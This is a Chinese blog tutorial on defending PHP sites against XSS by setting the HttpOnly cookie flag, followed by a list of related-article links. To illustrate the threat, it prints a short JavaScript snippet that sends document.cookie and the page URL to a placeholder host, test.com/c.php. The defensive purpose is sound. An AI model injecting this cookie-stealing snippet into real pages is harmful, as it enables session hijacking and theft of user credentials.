xss防御之php利用httponly防xss攻击


Posted in PHP onMarch 21, 2014

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

PHP 相关文章推荐
Discuz板块横排显示图片的实现方法
May 28 PHP
PHP加密扩展库Mcrypt安装和实例
Nov 10 PHP
php 生成短网址原理及代码
Jan 23 PHP
ASP和PHP实现生成网站快捷方式并下载到桌面的方法
May 08 PHP
windows7下安装php的php-ssh2扩展教程
Jul 04 PHP
PHP中的output_buffering详细介绍
Sep 27 PHP
PHP实现二叉树的深度优先与广度优先遍历方法
Sep 28 PHP
Linux系统中为php添加pcntl扩展
Aug 28 PHP
PHP实现移除数组中为空或为某值元素的方法
Jan 07 PHP
PHP数组中头部和尾部添加元素的方法(array_unshift,array_push)
Apr 10 PHP
PHP的微信支付接口使用方法讲解
Mar 08 PHP
laravel实现登录时监听事件,添加登录用户的记录方法
Sep 30 PHP
php5.3 goto函数介绍和示例
Mar 21 #PHP
php ctype函数中文翻译和示例
Mar 21 #PHP
php的declare控制符和ticks教程(附示例)
Mar 21 #PHP
php像数组一样存取和修改字符串字符
Mar 21 #PHP
easyui的tabs update正确用法分享
Mar 21 #PHP
php设置session值和cookies的学习示例
Mar 21 #PHP
一个显示效果非常不错的PHP错误、异常处理类
Mar 21 #PHP
You might like
PHP缩略图等比例无损压缩,可填充空白区域补充色
2011/06/10 PHP
php报表之jpgraph柱状图实例代码
2011/08/22 PHP
PHP防CC攻击实现代码
2011/12/29 PHP
PHP跳转页面的几种实现方法详解
2013/06/08 PHP
一个PHP的远程图片抓取函数分享
2013/09/25 PHP
两种php实现图片上传的方法
2016/01/22 PHP
PHP 芝麻信用接入的注意事项
2016/12/01 PHP
浅谈PHP的$_SERVER[SERVER_NAME]
2017/02/04 PHP
PHP两种实现无级递归分类的方法
2017/03/02 PHP
js操作ajax返回的json的注意问题!
2010/02/23 Javascript
jquery键盘事件介绍
2011/01/31 Javascript
jQuery1.6 类型判断实现代码
2011/09/01 Javascript
javascript制作坦克大战全纪录(1)
2014/11/27 Javascript
node.js中的fs.readlinkSync方法使用说明
2014/12/17 Javascript
JavaScript实现信用卡校验方法
2015/04/07 Javascript
微信小程序中单位rpx和rem的使用
2016/12/06 Javascript
jQuery实现简单的滑动导航代码(移动端)
2017/05/22 jQuery
js 奇葩技巧之隐藏代码
2017/08/11 Javascript
jQuery实现每隔一段时间自动更换样式的方法分析
2018/05/03 jQuery
解决Layui数据表格的宽高问题
2019/09/28 Javascript
JavaScript设计模式之观察者模式与发布订阅模式详解
2020/05/07 Javascript
JS实现鼠标按下拖拽效果
2020/07/23 Javascript
[52:29]DOTA2上海特级锦标赛主赛事日 - 2 胜者组第一轮#3Secret VS OG第三局
2016/03/03 DOTA
python实现多线程暴力破解登陆路由器功能代码分享
2015/01/04 Python
解决python3中解压zip文件是文件名乱码的问题
2018/03/22 Python
详解python如何在django中为用户模型添加自定义权限
2018/10/15 Python
python自带tkinter库实现棋盘覆盖图形界面
2019/07/17 Python
python字典按照value排序方法
2020/12/28 Python
CSS3 box-shadow属性实例详解
2020/06/19 HTML / CSS
最新教师自我评价分享
2013/11/12 职场文书
人事任命书范文
2014/06/04 职场文书
工程造价专业求职信
2014/07/17 职场文书
幼儿园感谢信
2015/01/21 职场文书
送达通知书
2015/04/25 职场文书
MySQL kill不掉线程的原因
2021/05/07 MySQL
MySQL实现字段分割一行转多行的示例代码
2022/07/07 MySQL